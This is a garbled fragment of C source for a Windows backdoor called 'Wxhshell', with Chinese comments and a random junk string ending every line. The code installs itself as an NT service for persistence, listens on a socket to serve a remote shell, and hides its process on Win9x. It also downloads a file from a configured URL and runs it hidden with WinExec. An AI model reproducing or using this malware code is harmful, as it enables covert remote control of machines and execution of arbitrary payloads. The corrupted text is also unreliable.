} PROCESS_BASIC_INFORMATION; NZw[.s>n
!tFU9Zt
PROCNTQSIP NtQueryInformationProcess; \PtC
'mY,>#sT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aBA#\eV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Cp/2A}Xx
Spr:K,
HANDLE hProcess; :xUl+(+
PROCESS_BASIC_INFORMATION pbi; 3K'o&>}L
"ppb%=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7+Jma! o
if(NULL == hInst ) return 0; <J_,9&\J
Xm:gD6;9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (=&bo p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5\*wX.wp
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Nx!g fU
?PxYS%D_L
if (!NtQueryInformationProcess) return 0; IkXKt8`YVA
bEXHB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J/&*OC
if(!hProcess) return 0; Qmc;s{-r;
XGup,7e9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [{!j9E?(
Z-sN4fr a
CloseHandle(hProcess); $X\`
7`v
#?|1~HC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6_}){ZR
if(hProcess==NULL) return 0; )1yUV*6
h*X%:UbW
HMODULE hMod; eq 1 4
char procName[255]; ^VYZ%
unsigned long cbNeeded; xp;8p94
k49n9EX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n7!Lwq2
wNZS6JF.d
CloseHandle(hProcess); v&/-&(+
G;#t6bk
if(strstr(procName,"services")) return 1; // 以服务启动 ghd[G}
]` Gz_e
return 0; // 注册表启动 i2R]lE8
} )^@V*$D
cw-JGqLx
// 主模块 &IPK5o,
int StartWxhshell(LPSTR lpCmdLine) kk./-G
{
?|rw=%
SOCKET wsl; FHPZQC8
BOOL val=TRUE; JRs[%w`kD
int port=0; WD`{kqc
struct sockaddr_in door; 7(iRz
T1W9@9,s
if(wscfg.ws_autoins) Install(); -hV KPIb
X1QZEl
port=atoi(lpCmdLine); )s[S.`STz
Q6<Uuiw
if(port<=0) port=wscfg.ws_port; >bP7}T
t-m,~Io W
WSADATA data; |y=F (6Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $>37PVVW
weadY,-H8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XQ y|t"Vq>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,'DrFlI
door.sin_family = AF_INET; fszeJS}Dw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tF1%=&ss
door.sin_port = htons(port); m&c(N
}ZGpd9D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W%QtJB1)
closesocket(wsl); RLX^'g+P
return 1; rZ4<*Zegv
} P&,cCR>
-zkL)<7
if(listen(wsl,2) == INVALID_SOCKET) { RxG./GY
closesocket(wsl); $ !=:ES
return 1; [`dipLkr
} dR{
V,H7N
Wxhshell(wsl); 5!p'n#_
WSACleanup(); *dgNpJ 9
@y&,e,3!
return 0; "$YLU}S9
XmR5dLc8
} h%e!f#
b;ZAz
// 以NT服务方式启动 _3>zi.J/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |/Z)?
{ _@76eZd
DWORD status = 0; 9h pM*wt
DWORD specificError = 0xfffffff; LRs;>O
F'*4:WD7
serviceStatus.dwServiceType = SERVICE_WIN32; brot&S2P><
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >Sah\u`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x*)O<K
serviceStatus.dwWin32ExitCode = 0; [GM<Wt0
serviceStatus.dwServiceSpecificExitCode = 0; ywte\}
serviceStatus.dwCheckPoint = 0; zf u78
serviceStatus.dwWaitHint = 0; Ry3 f'gx
eQj/)@B:V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X:/t>0e
if (hServiceStatusHandle==0) return; 7C^ nk
z
gvYs<,:
status = GetLastError(); 1A`";E&
if (status!=NO_ERROR) ![%,pip2/&
{ k=_@1b-
serviceStatus.dwCurrentState = SERVICE_STOPPED; h65j,v6B
serviceStatus.dwCheckPoint = 0; &.B6P|N'
serviceStatus.dwWaitHint = 0; K(S/D(\
FL
serviceStatus.dwWin32ExitCode = status; JK^;-&
serviceStatus.dwServiceSpecificExitCode = specificError; ?Y* PVx9Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {c;3$
return; O1,[7F.4g
} [*t EHW
C"<@EMU9
serviceStatus.dwCurrentState = SERVICE_RUNNING; X3yr6J[ ^
serviceStatus.dwCheckPoint = 0; 3o h(d.Z
serviceStatus.dwWaitHint = 0; s\@!J.Da
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8{AzB8xp
} lyP<&<Y5
[L:,A{rve
// 处理NT服务事件,比如:启动、停止 Kg56.$
VOID WINAPI NTServiceHandler(DWORD fdwControl) `U(FdT
{ %
_ N-:.S
switch(fdwControl) \j4TDCs_[
{ =m UtBD.;
case SERVICE_CONTROL_STOP: \]zHM.E1
serviceStatus.dwWin32ExitCode = 0; y:m Xv<g
serviceStatus.dwCurrentState = SERVICE_STOPPED; W_%Dg]l
serviceStatus.dwCheckPoint = 0; LqNsQu";
serviceStatus.dwWaitHint = 0; >mz<=n
{ {$Qw]?Yv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBR4j?':i
} YH@^6Be9
return; _G@)Bj^*
case SERVICE_CONTROL_PAUSE: J%{>I
serviceStatus.dwCurrentState = SERVICE_PAUSED; b3EGtC}^
break; ffG<hclk
case SERVICE_CONTROL_CONTINUE: 4XNheP;b
serviceStatus.dwCurrentState = SERVICE_RUNNING; E{EO9EI
break; sEFQ8S
case SERVICE_CONTROL_INTERROGATE: )O" E#%
break; "Yh;3tI4*
}; .6P.r}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :~ pGHl
} o>_})WM1[
x>}ml\R
// 标准应用程序主函数 7b+r LyS0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*RU:X
{ q)i %*IY
h{gFqkDoTI
// 获取操作系统版本 rz@qW2
OsIsNt=GetOsVer(); O;~e^ <*
GetModuleFileName(NULL,ExeFile,MAX_PATH); S[1<Qrv]
Q]YB.n3
// 从命令行安装 z~#;[bER
if(strpbrk(lpCmdLine,"iI")) Install(); B:Ts_9*
0n{.96r0R
// 下载执行文件 eCYPd-d
if(wscfg.ws_downexe) { m,lZy#02s3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @khFk.LBD
WinExec(wscfg.ws_filenam,SW_HIDE); !BsQJ_H
} oT-gZedW(
"E(i<
if(!OsIsNt) { !?nbB2,
// 如果时win9x,隐藏进程并且设置为注册表启动 )O]6dd
HideProc(); =#2c
r:1
StartWxhshell(lpCmdLine); itg_+%^R
} ;=y"Z^
else ,WRm{v0f^
if(StartFromService()) UGSZg|&6#*
// 以服务方式启动 n9'3~qVZ
StartServiceCtrlDispatcher(DispatchTable); z:>cQUYl
else L}`/v]E"eU
// 普通方式启动 GGp.u@\r
StartWxhshell(lpCmdLine); 6Ijt2c'A}
Wef%f]u
return 0; B&]`OO>O
}